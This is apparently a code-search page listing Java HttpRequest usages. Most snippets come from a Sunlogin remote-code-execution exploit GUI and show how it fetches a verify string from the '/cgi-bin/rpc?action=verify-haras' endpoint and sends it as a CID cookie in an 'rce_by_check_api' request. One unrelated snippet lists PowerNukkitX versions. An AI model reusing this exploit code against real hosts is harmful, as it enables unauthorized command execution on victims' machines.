use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.
the class GetSunloginInfo method get_address.
public String get_address() {
String sunloginAddress = "";
try {
HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
sunloginAddress = responseRst.body();
} catch (Exception e) {
// TODO: handle exception
SunloginExpGui.expResultTextArea.append("get_address failed. Caused exception.\n");
}
return sunloginAddress;
}
use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.
the class GetSunloginInfo method get_login_type.
public String get_login_type() {
String loginType = "";
try {
HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
loginType = responseRst.body();
} catch (Exception e) {
// TODO: handle exception
SunloginExpGui.expResultTextArea.append("get_login_type failed. Caused exception.\n");
}
return loginType;
}
use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.
the class GetSunloginInfo method get_verify_string.
public String get_verify_string() {
try {
HttpRequest responseRst = HttpRequest.get(url).connectTimeout(httpTimeout).readTimeout(httpTimeout);
String responseBody = responseRst.body();
System.out.println(responseBody);
VerifyStringClass vsc = new Gson().fromJson(responseBody, VerifyStringClass.class);
verifyString = vsc.verify_string;
System.out.println(verifyString);
SunloginExpGui.verifyStringField.setText(verifyString);
return verifyString;
} catch (Exception e) {
// TODO: handle exception
SunloginExpGui.expResultTextArea.append("get_verify_string failed. Caused exception.\n");
return "";
}
}
use of com.github.kevinsawicki.http.HttpRequest in project sunlogin-exp-gui by theLSA.
the class RCE method rce_by_check_api.
public String rce_by_check_api() {
String cid = "";
GetSunloginInfo.verifyString = SunloginExpGui.verifyStringField.getText().trim();
if (GetSunloginInfo.verifyString.isEmpty()) {
System.out.println("verifyString is null,get it first!");
SunloginExpGui.expResultTextArea.append("verifyString is null, now try to get it first......\n");
SunloginExpGui.expResultTextArea.selectAll();
String getVerifyStringUrl = "http://" + url.split("http://")[1].split("/")[0] + "/cgi-bin/rpc?action=verify-haras";
GetSunloginInfo gsli = new GetSunloginInfo(getVerifyStringUrl, httpTimeout);
cid = gsli.get_verify_string();
} else {
cid = GetSunloginInfo.verifyString;
}
System.out.println("cid is " + cid);
SunloginExpGui.expResultTextArea.append("cid is " + cid + "\n");
SunloginExpGui.expResultTextArea.selectAll();
String responseBody = "";
try {
HttpRequest responseRst = HttpRequest.get(url).header("Cookie", "CID=" + cid).connectTimeout(httpTimeout).readTimeout(httpTimeout);
responseBody = responseRst.body();
} catch (Exception e) {
// TODO: handle exception
SunloginExpGui.expResultTextArea.append("rce_by_check_api attack failed. Caused exception.\n");
}
return responseBody;
}
use of com.github.kevinsawicki.http.HttpRequest in project PowerNukkitX by PowerNukkitX.
the class VersionListHelper method listRemoteVersions.
public static List<VersionEntry> listRemoteVersions(final String category) {
if (cache.containsKey(category)) {
return exactKeys(cache.get(category));
} else {
final HttpRequest request = HttpRequest.get(OSS + "?" + "list-type=2" + "&" + "prefix=" + category + "/&" + "max-keys=30" + "&" + "delimiter=/");
final String result = request.body(HttpRequest.CHARSET_UTF8);
cache.put(category, result);
return exactKeys(result);
}
}
Aggregations